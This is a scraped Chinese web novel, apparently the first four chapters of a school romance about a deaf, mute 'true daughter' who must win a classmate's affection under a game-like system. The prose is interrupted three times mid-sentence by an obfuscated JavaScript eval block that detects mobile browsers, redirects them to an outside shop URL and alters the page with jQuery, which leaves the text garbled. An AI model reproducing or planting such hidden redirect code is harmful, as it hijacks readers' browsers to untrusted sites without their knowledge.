《我能听见你的声音》 1. 第 1 章 九月初,盛夏末。 依然灼热的烈日将浓绿色树叶照得金黄,灿光和荫影疏落交错,浮动在喧嚣的室外篮球场,呐喊声和脚步声久久不歇。 这些声音都和池映雪无关。 [滴!检测到攻略目标李闻蝉。] [估测对方球员打算抢夺目标手里的篮球,本场倒计时60秒。] 池映雪站在篮框下,隐匿在若干学生中。 身边的男男女女嘴唇开合,她的世界安静一片,只专心注视着靠近中线的那个身影。 99号,红色球衣的小前锋。 意气风发的少年,薄肌,身高在一众球员里都数一数二。 他是浓颜,隔着将近半场的距离望过去,光笼罩着那张得天独厚的脸,五官没有因此淡化,反而更加清晰明艳。 蓝色球衣的两个男生包夹他,来势汹汹。 还剩45秒。 池映雪用心声问系统:“你确定李闻蝉的球不会被抢走么?” [当然,他可是这个世界的男主。] [放心吧,他会投球的。] [也会砸到你,如你所愿。] 系统只是让宿主攻略李闻蝉,没说要用这样的方式引起注意。但它不会干涉,只负责对球的运动轨迹进行演算。 30秒。 记分牌旁,面容姣好的女生对另一个更精致的女生哂笑:“李闻蝉临时过来救场了又怎么样?前期分差那么大,现在都要结束了,我们还不是领先。” 精致女生不屑地哼声:“也就领先两分而已,一群废物。” “都是因为星桥哥哥没有上场,不然后半场才不会全让他李闻蝉一个人得分。” “鲤鲤说得对,但我们沈神才不和这群四肢发达头脑简单的动物一样,人家忙着竞赛呢。” 池鲤鲤蹙眉问:“李闻蝉不会直接投个三分吧?” 15秒。 两个人挤在面前,李闻蝉嘴边仍噙着轻松的笑。 池映雪两只手攥得紧紧的,咬住干涸的唇。 “不会吧!” “没见过他投三分,他好像更喜欢突进。” “突进?就十来秒,等他冲出去早吹哨了,看来蝉哥也救不了这场啊……” 果不其然,下一刻,李闻蝉就向其中一人防守的薄弱面冲去。 池映雪的手猛然一松,手心空空的,只剩一层凉汗。 不是三分啊。 那估计砸不到她了,好可惜。 池鲤鲤她们身边都是蓝队服班级的同学,人群中忽然冒出一个男生与有荣焉的声音。 “没见过,不代表蝉哥不会。” 池鲤鲤瞥了他一眼,呵。 李闻蝉的走狗。 穆雨阳一点不在乎同班女生一半不服、一半花痴赞同的眼神,自言自语。 “他可是,李闻蝉啊。” 最后1秒。 两个蓝衣球员慌乱地向侧面跑去,李闻蝉嘴角勾起,肆意又顽劣,裹挟着浓浓的故意。 一个极快速的动作变换后,篮球脱手。 世界宛如静止,音量被按下暂停键,只有漂亮的抛物线在空中划过。 李闻蝉还保持着投篮的姿势,放松,惬意,优雅。 球还在空中,他的拳就已经握起,唇边笑意愈发深邃,眼里却一片淡然。 哨声什么时候响起,池映雪没有听见。 但有风流如利刃般划开空气朝她袭来,伴随着浓浓的热浪。 “球进了!” “啊啊啊啊,绝杀!!!” “蝉哥牛X,五班牛X!!!!” “蝉哥,我要给你生猴子!” 喊这话的是个粗犷的男生,李闻蝉笑着骂了一声。 就在这时,刚落地的篮球从地面反弹,只听见“砰”的一声巨响。 吸气和惊呼在周围扩散蔓延。 “……靠。” 耳际嗡麻,陷入昏迷前,池映雪好像听见一个很低很清的声音。 但,怎么可能呢? 她从小就听不见,也不会说话。 所以在一个系统凭空出现并且表示能够让她获得听说能力时,她想也不想就答应了。 那是在上周日。那时她还是应家的女儿。 平时的每天早上,池映雪先起来给全家做早饭,叫爸妈和弟弟起床后去家里的小吃店开门摆桌,烧水,架蒸笼,做完一切后再急急忙忙赶去学校。 但这天学校放假,爸妈也有事不在家,她就先看了会儿书,快中午了才去应家小吃店。 熟客都认得她,有几个好心的大妈见应母不在,发消息给池映雪。 「小雪,一会还是直接给你转账?」 池映雪朝她们笑笑。 「对呀,我给你们抹个零。」 「诶,好嘞!」 池映雪收了钱,背过身去煮泡泡馄饨。 女孩清瘦的背影忙忙碌碌,烟火缭绕,一个第一次来的大妈问旁边的人:“啊是哑巴啊?” “对的哦,也听不到。” “这家里人放心叫一个人来店里哎?” “所以你没看我们都是直接转钱给小姑娘?”熟客回,“她家就是这样,亏得姑娘聪明,心眼也好,慢慢的知道自己攒钱了,不然全叫她妈养弟弟去了。” “命苦的哎。” 小店里没有空调,家里只有一个空调,还是在弟弟房里。池映雪习惯了扛热,可客人不行,她就去打开电风扇。 也就是手触碰开关,产生静电的那一刻,白光一闪,系统出现了。 [我能让你听和说,但是,获得能力是有代价的。] 池映雪点点头,这个她明白,世上没有白吃的饭。 [你所在的世界其实是一本小说的衍生文,你需要做的,就是攻略原小说的男主角。] [这本小说叫《豪门养子商战日常》,男主角是盛池集团现任董事长、池家老家主收养的旧友独子。作为无cp大男主文,这本书火到了一个境界,作者因此开了同世界观下的其他文,其中就有你在的这篇。] [少年时期的男主在这里面也会出现,并且整个世界的气运都围绕着他。只要你去攻略他,好感度每上涨20%就能获得相应阶段的听说能力。一般来说,每上升20%分别代表关系达到友善、认可、好感、喜欢、深爱。] [到了好感100%的时候,你就能和正常人一样听和说啦!] 一张电子屏神奇的浮现在脑海,系统的话逐字被她阅读。 盛池,即使是她这种小市民也知道,应该说南城里无人不知。小到当地的酒店超市、大到电视上全国人民都能看到的地产、影城广告,都能轻松见到盛池的身影。 池映雪捏了捏手指,眼睫毛一颤一颤。 攻略…… “我能问你一个问题吗?” 她把馄饨舀进碗里,用心声疑惑道:“为什么选我攻略男主?难道男主的少年时期,和我有交集?” 池映雪绞尽脑汁也想不通养在那样富裕家庭的人怎么会和她有关系,她的交际圈总共也没有多少人。 差不多年纪的人里,除了弟弟和不熟的同学们,就只有一个男生,但那个人家里也很清贫。 [现在没有,很快就有了!] 系统提起精神,[还记得我说你所处的世界是衍生文吗?这本书叫《真千金回来后,仍是团宠》,你就是书里的真千金!] [很快你就会被家里找回去,对了,你的亲生父母就是池家的二房,收养男主的老家主是大房。] 真千金? 她吗?团宠? 池映雪脑子像炸开一样,错杂的思绪让她来不及多想,呆呆地问:“真千金回来后仍是……” “意思是,我是团宠吗?” 可她怎么会是团宠呢?在家里,明明弟弟才是被宠爱的那个,她……难道是在回去后被宠爱吗? 她也可以被宠爱吗? 池映雪的手指纠缠在一起,骨关节发白了都没有发现。她的瞳仁很黑,和睫毛一起轻颤,像在等待宣判。 客人来催了,池映雪急忙在馄饨上撒下一小撮胡椒粉。 冒着热气的碗被端到桌上,发出沉闷响声的时候,她也看见了系统的答复。 [额……] [不。] 系统的电子屏上,冰冷的文字解释道,[准确来说,文名应该是《真千金回来后,我仍是团宠(豪门校园)》,但是网站规定文名超11留8,“后我”还降权,作者就精简了一下。] [这本是站在假千金的视角写的,宿主,你是里面那个女配。] 它看着池映雪乖巧点头后半阖的睫毛,厚重的刘海遮住那双眼中刚才一闪即逝的光彩,有些心虚,连忙把文章的简介传送过来。 “豪门池家这一代都是男孩,终于等来一个小公主。 池家二爷一声令下:宠!给我往死里宠! 小公主池鲤鲤被娇养17年,突然被告知真正的公主另有其人。 对方是个聋哑人,总是用阴森冰冷的眼神看她。 池鲤鲤瑟瑟发抖。 大大的眼睛水雾蒙蒙,打了个奶味哭嗝,伤心的准备让位…… 然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635221|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 池夫人:“鲤鲤,妈妈不许你走!” 池二爷:“我心里只有鲤鲤一个女儿!” 池家哥哥:“鲤鲤不是喜欢哥哥的保时捷吗?乖,哥哥亲自开车接你回家!” 一向温柔却疏离的竹马当众解除与真千金的婚约:“怎么,撩了我还想跑?” 后来,他们世纪大婚。 #所有人都爱她。” 系统第一次绑定宿主做任务,来之前只知道检索世界里身份最合适的倒霉蛋,没仔细看衍生文的内容。 它看看简介,又看看沉默的宿主,更心虚了! [宿主,没事的,我们要攻略的男主可是气运之子!只要和男主搞好关系,没准小世界的人们就围着你转了!] 池映雪低着头,它看不见她的表情。 风扇还在转,像是不断推进的齿轮。 与此同时,和被城市发展遗忘的老破小区格格不入的西装男子,正眉头紧锁,由应家夫妇带领着往小吃店走来。 …… “蝉哥,水!” 矿泉水瓶身还挂着冷气十足的水珠,随之在空中划过一道晶莹的抛物线。 骨节分明的手在阳光下更显冷白,稳稳地接住瓶子,手背上隐约的青筋因为动作变得清晰可见。 与少年利落动作相反的,医务室的门被另一只手很轻地关阖。 扔水的人立马放低声音:“那女生还没醒啊?” 李闻蝉靠在墙上喝水,微昂着头,喉结上下滚动。 “没。” 胡挚:“不会真砸出事来了吧?” 他刚还以为是假晕碰瓷的呢,毕竟这种事以前在蝉哥身上也不是没有发生过。 现在想想,那么小个女生,长得也乖乖巧巧的,倒真是不像。 “医生说没事。”李闻蝉淡声道。 “许校医?他还在吗?” “吃饭去了。” “他倒是享受,蝉哥你到现在就擦了个汗。要我说根本就是这些人站位的错,谁让他们全往篮下挤的……” 李闻蝉不置可否。 “我问了一圈,都说没见过这女生。”穆雨阳这时从楼梯口拐过来,气喘吁吁,“不是五班也不是一班的,她连校服都没穿,怎么进学校的?” “不是外校的来看蝉哥吧?” 胡挚猜测完还觉得很有道理,“蝉哥这身段,这气质,这堪称完美的人格魅力,就连七中的霸王花都深深折服!” “滚。” “诶,得嘞!” 瓶中的水很快被喝完,李闻蝉烦躁地轻啧一声,将水瓶轻松拧成瘪瘪小小的一团,反手命中不远处的垃圾桶。 “你们先回,我去冲个澡,等人醒。” “窸窣…” 池映雪醒来就看见男生裸露的脊背。 ——明亮的纯白色调房间里,李闻蝉背对着她。 球衣和白T随意挂在空荡的衣架上,裸露的上半身清瘦有型,宽肩窄腰,沟壑分明。 还在篮球场时池映雪就觉得他一定很清健,这样近的距离看来,明明不壮,却挺阔有力到让她生畏。 或许有185以上。 肌肤明明还湿着一层薄汗,却没有难闻气味,而是逸散一阵很清的香,像是柑橘皮刚被剥下那一刻。 但他又是野性的,那是种她从未涉及过的力量与侵略,让原本很宽敞的医务室瞬间显得逼仄。 雪白的被子有点闷人。 池映雪耳根炎热。 幸亏发不了声,否则她早该尖叫出来。 不对…… 声音? 衣料摩擦的窸窣停止。 池映雪不可置信地揪紧床被,指尖发颤,呼吸微滞。 是声音。 李闻蝉穿好上衣,眼看就要转身,池映雪赶紧闭眼假寐。 顺便,藏住酸胀眼皮下的湿润。 将近十七年,这是她第一次听到声音。这个人发出的声音。 震声重落在床尾的金属杆,将她的胡思乱想盖过。 鼻尖的香在转瞬间更浓烈。 啪。 手指相拨,又是一声清亮的响。 介于青涩与成熟之间的少年声音在安静的空间响起,和池映雪昏倒前那声低骂的音色如出一辙,就连不悦也是。 “别装睡。” 池映雪自认装睡一流,以前靠这招逃过不少次夜间推门而入的使唤。 他估计是诈她的。 头顶似乎传来声哼笑,挺生气。 “再不起来,我就曝光你这个偷看别人穿衣服的变、态。” 2. 第 2 章 池映雪被吓得立马睁眼。 他给人感觉太唬人,她忘记眼里还蓄着泪。 眼圈都是红的,泪珠在睫毛掀开的同时坠下,几行晶莹。 李闻蝉:“……” 该哭的是他吧。 她这样子,不知道的还真分辨不出来谁看光了谁。 李闻蝉叹了口气,抓起毛巾胡乱揉两下湿黑的头发,凌乱恣意。 冷水珠滴入清爽的黑T,瞬间匿迹。手指点了点床边桌上的检查单,嗒嗒两声,清脆,突兀。 李闻蝉皱眉:“行了。骗你的,别哭了。” 池映雪双手用力攥住被子,胡乱点头。 晶莹的眼泪宛如被剪断的珠串,随着她的动作飞落。 洁白的被单上点点湿灰,李闻蝉沉吟半晌,眯起狭长的眼,第一回仔细瞧向眼前的女孩。 球刚才反弹到了她的脑袋上,医生检查过没有什么事,连肿块都很快消掉,只是暂时晕过去。 比起被砸晕更严重的是她的低血糖,但那和他没什么关系。 她长得很小,不仅是脸、骨头都瘦小,小鼻子小嘴巴,耳朵也小。 李闻蝉第一反应是她肯定不好好吃饭,这里上学的人非富即贵,反正不是饿的。 哦,唯一不同的是她有双大眼睛,又黑又亮,因为哭泣湿润浅红,眼角还黏着几根狼狈的乱发。 “你到底哭什么?” 声线清冽,口吻不耐,她的眼泪更加汹涌。 “啧。” 李闻蝉浓眉皱起,表情很凶,“问你话,哑巴了?” 嗯嗯。 池映雪指了指嘴巴,又象征性点了点耳朵,双手食指交叉。 她确实是哑巴,还耳聋。 李闻蝉神情僵住,但只有一瞬,也没任何多余的表情。 没有嫌恶。 也没有可怜。 就好像她告诉他的不是聋哑,而是性别,或者年龄。 池映雪有点恍惚。 眼前唇瓣微张又闭合,他抬起手,似乎想要比划,最后只是用手背贴上有点泛红的耳垂。 而后转身,去到处找着什么。 池映雪好奇地望过去,刚好和回过头的李闻蝉四目相对。 她下意识露出一个友好的笑。 [叮!攻略对象好感+0.5。] 笑容缓缓消失。 好吝啬哦。 李闻蝉本来已经转开眼了,又奇怪地回眸看了她一眼。 池映雪重新挂上微笑,只是因为刚哭过,眼睛酸酸的,肌肉也扯得疼,看着有一点假。 李闻蝉重新背过身翻包,终于找到手机。 “……” 一句无奈的嘟囔在医务室里飘荡。 翌日,池映雪自然醒来。 床头崭新的最新款手机上显示大大的“5:31”,这是她用17多年养成的生物钟。 池映雪缩在柔软冰凉的被子里,回忆这几天发生的事。 遇到系统那一天,果然很快就有自称她亲哥哥的人找上门来。 应家夫妇不断讪笑,点头哈腰,和她平时见到的那两个人完全不一样。 池映雪不知道他们说了什么,只知道她被喊了17年爸妈的人用力拧住,推到和她长相肖似的男人面前。 他给她买了手机,打字说他是哥哥。 然后,她稀里糊涂地来到这栋大别墅,见到泪流满面的母亲、不苟言笑的父亲,还有那个“假千金”。 池映雪不喜欢这个叫法,也不喜欢所谓原文里的剧情,真千金在假千金的光芒之下潮湿阴暗。 和简介里写的一样,那个和她被抱错的女孩哭着要离开,被母亲秦书拼命拦下,最后父亲拍板宣布:池鲤鲤依然留在家里,两个女孩都是池家的千金。 哦对了,她要攻略的人就是那个李闻蝉。 豪门养子,风云校霸。 哎…… 池映雪想到那个0.5,苦恼地翻了个身。 七点半前到校,六点四十要出门。她静静躺了半个小时便起来洗漱,换好新学校漂亮有质感的校服裙套装,往楼下走去。 其他人的房间都在三楼,没有空余的,她就睡在秦书让人重新装潢的二楼西客卧,这是她有史以来见过最好最大的房间。就算是弟弟过来,也会吃惊的。 因为是聋哑人,没办法听见自己做事时发出多大的声音,以防打扰别人,池映雪从很小就学会放轻动作。 她小心翼翼地走下木质楼梯,直至走到餐桌前,已经开始用餐的秦书和池鲤鲤才发现她。 池映雪对她们腼腆地挥手问好,在属于她的早餐前坐下,秦书也挥手,眼眶染上湿意。 “小雪……” 秦书想说你下来啦,突然想起亲女儿听不见,一时表情尴尬。 池鲤鲤调整呼吸,抽纸擦嘴,优雅如天鹅般的仪态瞬间吸引秦书的目光。 “妈妈,我吃好了,你和姐姐先吃,我上楼收拾书包。” “急什么呀。” 秦书习惯性笑道,“你就在这里把剩的一点牛奶喝完,我已经让阿芳帮你把书包装好了。” “妈妈~”池鲤鲤捧着牛奶移到秦书身边,小猫一样撒娇,“我就知道你对我最好啦。” 秦书没有多想,伸手整理她故意弄乱的领结。 池鲤鲤嘴边勾起得逞的笑,瞥了一眼一个人吃饭的池映雪。 苍白纤弱,形单影只。 她的笑慢慢变冷,心想这种闯入温馨城堡的灰小鸭,怎么会是妈妈的女儿? 秦书把两个女孩送到保姆车上,池鲤鲤熟稔地坐在后排右侧。 “鲤鲤,要照顾好小雪哦。” “我会的,妈妈再见。” 到了学校,池鲤鲤却丢下池映雪,朝昨天篮球赛时身边的姣好女孩走去。 “早上好,邢芷。” “鲤鲤!”邢芷小跑着凑到池鲤鲤面前,“怎么不见那个……” 池鲤鲤的脸色冷了一瞬,邢芷勾了勾唇,“好了,不说那个残疾人。” “不过秦阿姨怎么想的呀,居然真的让她来虹文上学了,聋哑人不能乖乖待在专门的学校吗?” 池鲤鲤不是很想谈论,淡淡道:“现在上面鼓励融合教育,残疾学生随班就读。” “话虽如此,昨天秦阿姨带她来办手续估计还是费了很大力吧。” “都怪抱错的那家人,我听七中的人说呀,因为池映雪在那里成绩很好,有奖学金拿,所以才没去阳光学校。” 邢芷深深地看了一眼身边努力保持走姿优雅的女生,话锋一转,“但七中的教育本来就不怎么样,向来只是矮子里面拔高个,和我们虹文年级TOP5的鲤鲤姐是没法比的!” “对了,她不会被阿姨花钱塞进一班吧?” “五班。” 和邢芷想的完全不一样,她笑容凝滞,很快反应过来:“算她有自知之明。” 池鲤鲤心里很乱,转弯时眼神不定,正好望见远处医务室所在的楼宇。 昨天她因为比赛输了愤而离场,不知道池映雪晕倒,她们三人的手机也都在秦书包里。 直到池映雪用陌生号码发来短信,她们才去医务室找到她。 上楼的时候,遇到了主家爷爷收养的那个小少爷,妈妈还专门停下来打了招呼。 池鲤鲤:“李闻蝉也在五班吧?” 邢芷脚步一顿:“是。” “那就好,这家伙脾气可不怎么样。” “要是池映雪得罪了他,就有好戏看了。” 池鲤鲤和邢芷一起,走得很快,手挽着手,却并不亲密。 池映雪远远跟在后面,双手抓着书包的肩带,凭借记忆往教室的方向走。 池鲤鲤在拐弯处消失在她视野前,还得意又敌对地睨了她一样。 池映雪觉得池鲤鲤没有简介里写得那么……嗯,会发着抖打奶嗝哭。 有的时候她甚至庆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635222|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸对方的恶意来得如此简单,比她之前在小吃店帮忙时遇到的三教九流好多了。 池映雪不会听说,其他感官就很发达,记忆力也不错。昨天篮球赛的上半场,她跟着母亲和班主任去过一次班上,很快就记住了路线。 也是这时,她左耳朵动了动,又一次听见了细微的声响。 抓住肩带的手敏锐地收紧,池映雪连忙回头,可除了三三两两的陌生学生和气派宏伟的建筑,什么也没有。 又是他吗? 脚步声似近似远,若隐若现,池映雪只纠结了一瞬,就改换方向,寻找声音的来源。 还有二十五分钟呢,应该来得及。 半小时后,早读铃响起。 五班的班主任徐静萌走到讲台上,敲了敲桌面,教室瞬间安静。 “今天我们班上将要来一位新同学。” 她顿了顿以示强调,“新同学的情况有点特殊,有发声和听力障碍,交流起来不那么容易。小姑娘的人我昨天见过,很不错,成绩呢也非常好,希望大家友善一点,多向人家学习,不要让我发现哪个皮猴捉弄人家知道吗?” 台下有人窃窃私语,徐静萌拿起黑板擦重敲在讲台上,和颜悦色地笑。 “尤其是你们几个,胡挚,章子健,秋怡,平时就数你们最闹腾!” 胡挚:“萌萌姐你错怪我们了,我们虽然活泼了一点,但也不会欺负新同学呀!” “就是就是!” “好了,老师相信你们,准备早读吧。” 徐静萌对自己的学生还是很放心的,不然也不会直接这样说了。 她正打算回办公室找秦书的手机号码,问问池映雪怎么还没来,再和各科老师交代一下情况,忽然眼神一凛。 “胡挚。” 徐静萌笑眯眯地走向胡挚的座位,第一组第六排,靠窗的位置。 同一扇窗下还有一个位置,那是最后一排,专属某人的风水宝地。 桌面空荡,扔着一个斜挎的黑色书包,看样子来了,但徐静萌上手一摸,包都是空的。 她记得昨天晚自习时这个书包就是这么放着的吧? 徐静萌皮笑肉不笑:“李闻蝉人呢?” 漫长炎热的夏推迟早桂花期,星星点点的小黄花苞像是浓缩版郁金香,在池映雪头顶随风摇。 刚才她想听声辨位,看看是不是又听到了李闻蝉发出的声音,也想知道会不会除了他,她还能听见别人的。但业务不熟练,不仅没找到,还成功在没来过的花园里迷路了。 她感觉这个花园比七中的大操场还大。 系统昨晚就说要休眠,一直到现在还没出声,她不好叫醒。 池映雪蹲在地上,把自己也缩成一个小花苞,郁闷地瘪嘴。 手机上显示,早读已经开始五分钟了。 第一天就迟到。 怎么办呀。 李闻蝉用湿巾擦完手,丢进垃圾桶里,转头就看见了背着红书包,鬼鬼祟祟蹲在地上的池映雪。 早读铃已经打了,不知道她还在连廊花园这边干什么。 和个蘑菇似的。 看昨天那小样子,他还以为她会是个乖学生呢。 怎么和他一样翘早读? 李闻蝉哼笑起来,摇了摇头,转身离开。 泄气了一会儿,池映雪决心不能坐以待毙了。 她找到手机的备忘录,不熟练地使用智能机的键盘,编辑问路措辞。 「您好,请问高二五班zenme……」 池映雪手指一滞,耳朵又一次动了动,好像听见了脚步声。 还没等她回过头,一股强大的拉力忽然把她拔起来,真像是在拔蘑菇一样。 池映雪脚尖悬空,惊慌失措地瞪圆了眼,猛地侧首,却正好对上李闻蝉淡淡的眸光。 他提着她的书包,就这样拎起她往花园外走,还上下很小幅度的掂了掂,随意开口。 “太轻了,小蘑菇。” 3. 第 3 章 进了教学楼,池映雪耳根依然是红的,羞耻的红。 他怎么还不放她下来呀。 她很想告诉他,她已经认得路了,这样拎着走太丢人了。还好同学们都已经开始早读,没人看见这一幕。 刚这么想着,脚就落在了地面上。 池映雪没有准备,重心不稳地踉跄,被李闻蝉抓住手腕扶好。 手腕上陌生的粗粝感温度很高,一触即离。 池映雪举起大拇指,感激地朝他弯曲两下。 李闻蝉微怔。 池映雪如梦初醒,想起他应该不会手语,连忙从书包的侧边袋子里取出一个小小的线圈本,熟练翻开第四页,双手举起来。 上面用清新工整的字迹写着“谢谢你”,后面还画了一个圆圆的笑脸。 [叮!攻略对象好感+1。] 系统弹出自动提醒弹幕。 池映雪脸上的笑容愈发真挚,李闻蝉从她手里拿走小本子,前后翻了翻,还给她后率先往楼上的班级门口走。 池映雪低下头,眨了眨眼,重新看向已经快消失了的那个背影,抬脚追了上去。 手里还攥着打开的小本子,李闻蝉翻到的那一页。 “不客气:)”。 班门口。 徐静萌看起来很年轻,五官端正,着一身粉色套裙,有股江南地区这边特有的温婉韵味。 此刻,她正双手抱在胸前,笑着看向两个前后脚到的自家学生。 池映雪早在刚迷路时就已经编辑好道歉信,把手机双手递给班主任,然后低着头,背手在身后揪手指尖,脚趾偷偷蜷缩,等待教育。 以前在七中发生类似的事,班主任许是嫌和她交流麻烦,每次都不分青红皂白,用不耐的表情打发她赶紧离开。 所以,不管徐老师一会儿怎么罚她,她都欣然接受,起码对方给了她解释的机会。 李闻蝉懒散地靠在一边,挑起眉,摇了摇头。 出乎池映雪意料的,徐静萌在她的话后面打字。 「嗯,没关系,老师了解了,相信你不是故意的。你等会儿存一下我和班长的联系方式,有什么事及时发消息,好吗?」 池映雪印象里的老师都是像七中那样严厉的,或者忽视她,或者充满怜悯。但徐老师在很认真地和她交流,她好喜欢这样的温柔。 「好了,你进去吧。班长就坐在第一排,她看见你就会带你去座位的,教材都在桌上。」 池映雪腼腆地轻轻点了一下头。 温柔的徐老师转向李闻蝉。 “李闻蝉!这是你这学期第几次迟到了?!” “要么迟到,要么直接翘课,你要上天啊!!” “今天把你这学期要背的古诗词全给我抄两遍,放学前拿给语文老师检查!” 紧靠着窗户的胡挚斜眼看老大被训,吞咽一声,默默伸出手指堵住右耳。 徐静萌背对着池映雪,她听不见咆哮声,还以为班主任对李闻蝉和与她文字沟通的语气一样温柔,就准备进教室。 这时,李闻蝉吊儿郎当的声音响起来。 “不公平啊,萌姐。” “明明一起到,凭什么只罚我?” 说着抬起下巴,点着池映雪的方向,结果和回过头的池映雪猝不及防对视。 李闻蝉一点儿没有心虚的样子,还扯起嘴角。 徐静萌嘴唇刚动,就被身后的小手拉住衣角。 「徐老师,刚才我迷路后,是李同学偶然发现了,带我一起回来的。」 虽然她被他带走的时候已经上早读了,但徐老师不知道。 这样解释不算撒谎,如果能让徐老师以为他也不是故意迟到,而是帮助同学,说不定会不用惩罚他。 池映雪心想,这样,她是不是就可以获得他更多的好感? 毕竟她真的需要他的好感来获得她想要的…… “呵。” [警告!攻略对象好感-1。] 冷笑声自身旁的高处传来,池映雪抬眸望向耳中声音唯一的来源,却被他冰冷嘲讽的表情吓得后退半步,一时不知道该更在意哪一回事。 难道他不喜欢别人多管闲事? “她是我带来的,但迟到,我也是故意的。” “李闻蝉!” “我就是想迟到,哦不对,是翘课。” “罚抄我会交,先进去了。” 李闻蝉眼里划过一丝无趣,除此之外再无情绪,插着兜头也不回地走后门进了教室。 他在窗边的最后一排勾出凳子坐下,撑着脑袋阖了眼,大半个人都被窗帘蓝色的阴影笼罩,无喜无怒。 即使是这样,池映雪也感受的到他身上那种压迫感。她想起以前在七中听到过的流言。 “李闻蝉,远近闻名的校霸啊,就连咱们这一片的老大都打不过他。” “我上次在虹文旁边的巷子里遇见他了,浑身是血!” “感觉他一拳就能揍死我。” “听说他欺压虹文一班的一个男生,天天收人家保护费,还霸凌对方当他的小弟!” “一班不是虹文最牛的创新班吗?这都没人管?” “人家可是那个池家收养的大少爷……” 池映雪混乱地想着,却被班长秋怡带到了大少爷左侧的那个空位上。 坐下后,她下意识偏头看了一眼李闻蝉。 连后脑勺都那么不近人情,难怪之前没人和他坐同桌。 和身后长了眼睛一样,李闻蝉忽然转过头,把她来不及收回的视线抓了个正着。 他还是没有表情,只是眉往上抬起,凝着她。 池映雪立马坐正,假装翻还沾着新书味道的课本。 李闻蝉很轻地嗤笑。 胡挚刚好回头,手肘撞了撞他的桌子。 “蝉哥,你笑什么?” “没什么。” 李闻蝉把空书包胡乱塞进抽屉,漫不经心随口道,“座位旁边长了只蘑菇。” 胡挚:? 李闻蝉扯开一个顽劣的笑:“虎子你说,蘑菇是炖着好吃,还是烤着好吃?” 池映雪打了个寒颤。 她现在倒是可以天天吹空调了,只是这温度莫非有点低…… 一张卷起来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635223|143743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小纸条从前桌传来,打断她的思绪。 池映雪抬眸,前座的女生张望完窗外,确认没老师经过后迅速回头冲她眨了眨眼,又迅速转过身,捧着语文课本,不知道有没有认真读。 「哈喽新同学,刚才听班长说你叫池映雪,好好听的名字呀!」 池映雪抿了抿唇,弯起眼睛。 她也觉得很好听,据说是那位池老爷子亲自取的。 说起来,她还没有见过他呢,希望以后会有机会。 「我叫万苏瑶,你叫我瑶瑶就好,下课了我们加个企鹅,我拉你进班群。以后我们就是前后桌啦,请多指教!」 「咳咳,下面给你介绍一下咱大五班!班主任是数学老师徐静萌,我们都喊她萌萌姐,平时少女心十足,几乎所有衣服都是粉的,该威严时很威严(划掉),会和我们打成一片!」 「……班长是秋怡,我们喊她椅子。还有学委毽子(章子健),体委虎子(胡挚),文艺委员是我………」 池映雪双手捏着摊开后长而满的纸条,逐字逐句看完,眼睛有点湿湿的。 万苏瑶读着读着,又开了小差,再次回头望后桌。 ——新后桌身量很细,校服裙穿在身上略显宽大,怎么看怎么乖。下巴瘦尖,难得脸蛋上还残留着婴儿肥,眼睛像墨色的葡萄一样黑亮圆润,除了齐刘海稍微有点厚重外,没有任何缺点。 可是,厚刘海看起来也很乖嘛…… 而且,她真的好白呀,就像她的名字一样。 清池中倒映的枝头薄雪。 下了早读,池映雪和万苏瑶加完好友,被她拉进两个群聊。 瑶瑶:「“高二五班”是官方群,有老师在,平时没人说话;“写作业不如跳5”是大家建的水群,包热闹的,放心聊!」 池映雪一进群,“写作业不如跳5”立马弹出了好一长串消息,都是在欢迎新同学。 她手足无措地发了个“谢谢大家”,抬起头来环顾教室,还真有同学隔老远举着手机对她招手。 池映雪呆呆地朝她们笑,顿时觉得空调不冷了。 她和万苏瑶顺势在企鹅里聊了起来。 「我可以叫你小雪吗?」 「好呀。」 池映雪眼神闪过怀念。 「我以前的一个好朋友也这么叫我,你和她很像,都对我好好。」 万苏瑶在她眼中看见了纯澈,不是客套的话,说明她真是这么想的。 她叹了口气。这就算对她好了么? 看来,圈子里对池家那什么“真千金流落在外受苦”的传言不是谬传。 万苏瑶心情复杂地转过身,池映雪一时空闲下来,拿起手边的小本子。 翻开第一页,花花贴纸已经褪色。 青涩的笔迹一黑一蓝,黑色劲瘦,蓝色圆巧,穿插着写下同一句话—— “许苹安、裴景赠予小雪,祝小雪中考胜意,未来可期!” 池映雪咧起嘴笑。 李闻蝉刚睁开眼就看见这样的一幕。 他翻了个面,对着窗户那边,又顿感烈阳灼眼。 都怪傻蘑菇。 4. 第 4 章 南城七中,学生们也刚下早读,散漫地在座位或走廊上吹水、吃早点。 许苹安双手捧脸,眉宇忧愁。 池映雪已经被亲生父母接走好几天了。听说是那个很厉害的池家,她真是又替她高兴,又担心她受委屈。 虽然小雪在聊天时说现在过得很好,但许苹安知道,就算过得不好,小雪也会这么说。 